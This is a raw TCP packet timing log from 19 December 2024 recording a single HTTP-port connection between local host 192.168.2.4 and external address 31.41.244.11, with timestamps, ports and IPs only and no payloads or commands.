Dec 19, 2024 06:09:42.309699059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.309720039 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.309757948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.310663939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.310713053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.310776949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.310820103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.311942101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.311953068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.311999083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.313002110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.313013077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.313049078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.313076973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.313954115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.313997984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.314073086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.314115047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.315042973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.315083027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.315356016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.315397978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.316243887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.316255093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.316284895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.316310883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.317310095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.317353964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.317595959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.317637920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.318284035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.318331003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.318365097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.318407059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.319417000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.319433928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.319454908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.319477081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.320462942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.320508003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.320590973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.320631981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.321568966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.321607113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.321698904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.321749926 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.322638035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.322681904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.322881937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.322926044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.323805094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.323848009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.323919058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.323962927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.324845076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.324896097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.325026989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.325068951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.325900078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.325946093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.326040983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.326085091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.326977015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.327023029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.327177048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.327219009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.328107119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.328151941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.328207970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.328249931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.329181910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.329225063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.329279900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.329320908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.330265045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.330307961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.330375910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.330416918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.331362009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.331407070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.331648111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.331697941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.332479954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.332546949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.332564116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.332608938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.333538055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.333583117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.333612919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.333656073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.334634066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.334676027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.334775925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.334815025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.335865021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.335875988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.335907936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.335927010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.336903095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.336915016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.336946964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.336966991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.338023901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.338036060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.338068962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.338082075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.338999033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.339042902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.339102030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.339148998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.340085983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.340130091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.340261936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.340305090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.341217041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.341259956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.341279030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.341320992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.342282057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.342333078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.342370987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.342411995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.343354940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.343398094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.343466043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.343507051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.344475985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.344516039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.344604015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.344647884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.345575094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.345618010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.345643997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.345685959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.346648932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.346690893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.346719980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.346761942 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.347731113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.347771883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.347897053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.347934008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.348810911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.348853111 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.348927975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.348969936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.349894047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.349935055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.349997044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.350037098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.350996017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.351043940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.351089954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.351130962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.352128983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.352185965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.352349997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.352396011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.353153944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.353213072 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.353271961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.353313923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.354248047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.354298115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.354378939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.354423046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.355355978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.355398893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.355456114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.355496883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.491067886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.491080999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.491117954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.491144896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.491341114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.491360903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.491384029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.491409063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.492326021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.492366076 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.492448092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.492489100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.493495941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.493537903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.493554115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.493592024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.494510889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.494558096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.494637966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.494673014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.495640993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.495682955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.495716095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.495760918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.496687889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.496735096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.496783018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.496822119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.497802019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.497842073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.497935057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.497972965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.498884916 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.498922110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.498965979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.499006033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.500047922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.500080109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.500096083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.500123978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.501075029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.501116991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.501173019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.501211882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.502166033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.502216101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.502249002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.502291918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.503290892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.503341913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.503407955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.503446102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.504358053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.504401922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.504461050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.504501104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.505428076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.505470991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.505543947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.505580902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.506504059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.506546974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.506633043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.506671906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.507613897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.507668018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.507695913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.507735968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.508671045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.508714914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.508780956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.508821011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.509813070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.509856939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.509963036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.510003090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.510926008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.510966063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.511035919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.511076927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.512008905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.512058973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.512075901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.512121916 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.513056993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.513111115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.513164043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.513206005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.514211893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.514225006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.514252901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.514276981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.515214920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.515252113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.515350103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.515391111 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.516459942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.516472101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.516499996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.516513109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.517443895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.517483950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.517518044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.517560005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.518520117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.518582106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.518660069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.519675970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.519686937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.519728899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.519738913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.520709038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.520749092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.520781040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.520817041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.521755934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.521800995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.521848917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.521891117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.522880077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.522918940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.523353100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.523406029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.523932934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.523973942 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.524302959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.524347067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.525049925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.525099993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.525127888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.525166988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.526132107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.526170969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.526200056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.526247025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.527368069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.527379990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.527415991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.527499914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.528301954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.528342962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.528424978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.528462887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.529376984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.529417038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.529567003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.529604912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.530509949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.530561924 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.530579090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.530622005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.531594038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.531641960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.531671047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.531709909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.532660961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.532707930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.532758951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.532799006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.533757925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.533812046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.533946991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.533984900 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.534835100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.534878969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.535011053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.535048962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.535958052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:42.535995007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:42.536020994 CET	80	49838	31.41.244.11	192.168.2.4
